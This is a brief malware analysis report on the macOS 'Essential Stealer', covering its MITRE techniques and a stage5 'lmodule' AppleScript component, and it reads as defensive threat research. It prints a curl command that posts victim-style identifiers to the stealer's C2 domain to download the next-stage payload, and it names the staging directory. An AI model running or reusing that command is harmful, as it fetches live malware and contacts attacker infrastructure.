← Reports

InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author
Moise Medici
Updated
10 Sept 2026 · Completed
Difficulty
Easy
Platform
MacOS
Family
Essential macOS Stealer
Languages
BashAppleScript
MITRE
T1059.002 (Command and Scripting Interpreter: AppleScript) T1059.004 (Command and Scripting Interpreter: Unix Shell) T1569.001 (System Services: Launchctl) T1543.001 (Create or Modify System Process: Launch Agent) T1548.006 (Abuse Elevation Control Mechanism: TCC Manipulation) T1027.010 (Obfuscated Files or Information: Command Obfuscation) T1027.016 (Obfuscated Files or Information: Junk Code Insertion) T1140 (Deobfuscate/Decode Files or Information) T1564.001 (Hide Artifacts: Hidden Files and Directories) T1056.002 (Input Capture: GUI Input Capture) T1539 (Steal Web Session Cookie) T1555.001 (Credentials from Password Stores: Keychain) T1555.003 (Credentials from Password Stores: Credentials from Web Browsers) T1555.005 (Credentials from Password Stores: Password Managers) T1016 (System Network Configuration Discovery) T1033 (System Owner/User Discovery) T1082 (System Information Discovery) T1083 (File and Directory Discovery) T1217 (Browser Information Discovery) T1005 (Data from Local System) T1074.001 (Data Staged: Local Data Staging) T1119 (Automated Collection) T1560.001 (Archive Collected Data: Archive via Utility) T1008 (Fallback Channels) T1071.001 (Application Layer Protocol: Web Protocols) T1102.001 (Web Service: Dead Drop Resolver) T1105 (Ingress Tool Transfer) T1041 (Exfiltration Over C2 Channel)

Stage5 lmodule Code Analysis

Looking at the lmodule component selector, the following cURL is used:

Terminal window
curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://d9mjs.sbs/' -d 'uuid=AAA1111A-1A11-11AA-A111-0A1A1A11AA11>&username=aldo&txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&lmoddule'  > public/samples/new/stage5_lmodule.applescript

It has a structure very similar to smodule, but with fewer features. The whole file is available in the provided zip. The code appears to be a v1 of the smodule analyzed above. The list of extensions and applications is the same, but it lacks note collection and the chunking of data sent to the server via cURL. Overall, the code is more of a proof of concept than the more polished smodule. The C2 domain and IP remain the same; only the staging directory path changes, becoming /tmp/94a8cb76e4d36ee8c6f0b8a5676c57551788950610.